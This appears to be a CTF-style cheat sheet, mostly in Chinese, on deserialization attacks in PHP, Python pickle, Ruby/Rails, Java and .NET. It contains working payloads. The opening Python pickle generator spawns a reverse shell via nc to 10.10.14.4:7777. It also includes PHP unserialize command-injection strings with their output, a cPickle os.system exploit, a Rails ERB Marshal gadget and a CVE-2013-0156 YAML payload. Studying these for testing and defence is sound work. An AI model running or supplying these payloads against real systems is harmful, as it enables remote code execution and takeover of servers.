Deserialization Vulnerability

tags: Security Web

PHP deserialization

PHP Phar deserialization

Python Pickle

Exploiting Python pickles (Mind RCE(object)) create_payload.py

import pickle
import base64
import os

class RCE(object):
    def __reduce__(self):
        cmd = ('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.4 7777 > /tmp/f')
        return os.system, (cmd,)

def create_payload():
    pickled = pickle.dumps(RCE())
    payload = base64.urlsafe_b64encode(pickled)
    print(payload)

Java deserialization

ASP.NET deserialization

Other

PHP - Serialize() / Unserialize()

  • __construct()
    • Object被new時調用,但unserialize()不調用
  • __destruct()
    • Object被銷毀時調用
  • __wakeup()
    • unserialize時自動調用
  • __sleep()
    • 被serialize時調用
  • __toString()
    • 物件被當成字串時調用

  • Value

    • String
      • s:size:value;
    • Integer
      • i:value;
    • Boolean
      • b:value; (‘1’ or ‘0’)
    • NULL
      • N;
    • Array
      • a:size:{key definition; value definition; (repeat per element)}
    • Object
      • O:strlen(class name):class name:object size:{s:strlen(property name):property name:property definition;(repeat per property)}
    • 其他
      • C - custom object
      • R - pointer reference
  • Public / Private / Protected 序列化

    • 例如:class名字為: Kaibro,變數名字: test

    • 若為Public,序列化後:

      • ...{s:4:"test";...}
    • 若為Private,序列化後:

      • ...{s:12:"%00Kaibro%00test"}
    • 若為Protected,序列化後:

      • ...{s:7:"%00*%00test";...}
    • Private和Protected會多兩個NULL byte


  • Example
    <?php

    class Kaibro {
        public $test = "ggininder";
        function __wakeup()
        {
            system("echo ".$this->test);
        }
    }

    $input = $_GET['str'];
    $kb = unserialize($input);
  • Input: .php?str=O:6:"Kaibro":1:{s:4:"test";s:3:";id";}
  • Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)

  • Example 2 - Private
    <?php

    class Kaibro {
        private $test = "ggininder";
        function __wakeup()
        {
            system("echo ".$this->test);
        }
    }

    $input = $_GET['str'];
    $kb = unserialize($input);

  • Input: .php?str=O:6:"Kaibro":1:{s:12:"%00Kaibro%00test";s:3:";id";}

  • Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)


  • CVE-2016-7124

    • 影響版本:
      • PHP5 < 5.6.25
      • PHP7 < 7.0.10
    • 物件屬性個數大於真正的屬性個數,會略過__wakeup的執行
    • 反序列化會失敗,但是__destruct會執行
    • HITCON 2016
  • 小特性

    • O:+4:"test":1:{s:1:"a";s:3:"aaa";}
    • O:4:"test":1:{s:1:"a";s:3:"aaa";}
    • 兩者結果相同
  • Phar:// 反序列化

    • phar文件會將使用者自定義的metadata以序列化形式保存
    • 透過phar://偽協議可以達到反序列化的效果
    • 常見影響函數: file_get_contents(), file_exists(), is_dir(), …
    • Generic Gadget Chains
    • Example
      • HITCON CTF 2017 - Baby^H Master PHP 2017
      • HITCON CTF 2018 - Baby Cake
      • DCTF 2018 - Vulture

Python Pickle

  • dumps() 將物件序列化成字串
  • loads() 將字串反序列化

Example:

a.py:

import os
import cPickle
import sys
import base64

class Exploit(object):
    def __reduce__(self):
        return (os.system, ('id',))
    
shellcode = cPickle.dumps(Exploit())
print base64.b64encode(shellcode)

b.py:

import os
import cPickle
import sys
import base64

s = raw_input(":")

print cPickle.loads(base64.b64decode(s))
$ python a.py > tmp
$ cat tmp | python b.py
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),110(lxd)

Ruby/Rails Marshal

this one is not self-executing

this one actually relies on rails invoking a method on the resulting object after the deserialization

erb = ERB.allocate
erb.instance_variable_set :@src, "`id`"
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new erb, :result, "foo", ActiveSupport::Deprecation
hash = {depr => 'something'}
marshalled = Marshal.dump(hash)
print marshalled

在ERB上,當result或run method被call時,@src的string會被執行

  • 常見使用情境:
    • 以Marshal為Cookie Serializer時,若有secret_key,則可以偽造Cookie
    • 也可以透過DeprecatedInstanceVariableProxy去執行ERB的result來RCE
      • DeprecatedInstanceVariableProxy被unmarshal,rails session對他處理時遇到不認識的method就會呼叫method_missing,導致執行傳入的ERB
      • @instance.__send__(@method)
  • Cookie Serializer
    • Rails 4.1以前的Cookie Serializer為Marshal
    • Rails 4.1開始,默認使用JSON

Ruby/Rails YAML

  • CVE-2013-0156
    • 舊版本的Rails中,XML的node可以自訂type,如果指定為yaml,是會被成功解析的
    • 若反序列化!ruby/hash,則相當於在物件上調用obj[key]=val,也就是[]=方法
    • 而這個ActionDispatch::Routing::RouteSet::NamedRouteCollection中的[]=方法中,有一條代碼路徑可以eval
    • define_hash_access中可以看到module_eval,裏頭的selector來自name
    • 因為他還會對value調用defaults method,所以可以利用OpenStruct來構造
      • 函數名=>返回值的對應關係存放在@table
    • Payload:
    xml = %{  
    <?xml version="1.0" encoding="UTF-8"?>  
    <bingo type='yaml'>  
    ---| !ruby/hash:ActionDispatch::Routing::RouteSet::NamedRouteCollection  
    'test; sleep(10); test' :  
     !ruby/object:OpenStruct  
      table:  
       :defaults: {}  
    </bingo>
    
    }.strip
    
  • CVE-2013-0333
    • Rails 2.3.x和3.0.x中,允許text/json的request轉成YAML解析
    • Yaml在Rails 3.0.x是預設的JSON Backend
    • 出問題的地方在於YAML.load前的convert_json_to_yaml,他不會檢查輸入的JSON是否合法
    • 一樣可以透過ActionController::Routing::RouteSet::NamedRouteCollection#define_hash_accessmodule_eval來RCE

Java Deserialization

  • https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet

.NET Derserialization

  • ysoserial.net
  • asp.net中ViewState以序列化形式保存資料
    • 有machinekey或viewstate未加密/驗證時,可以RCE
  • Example
    • HITCON CTF 2018 - Why so Serials?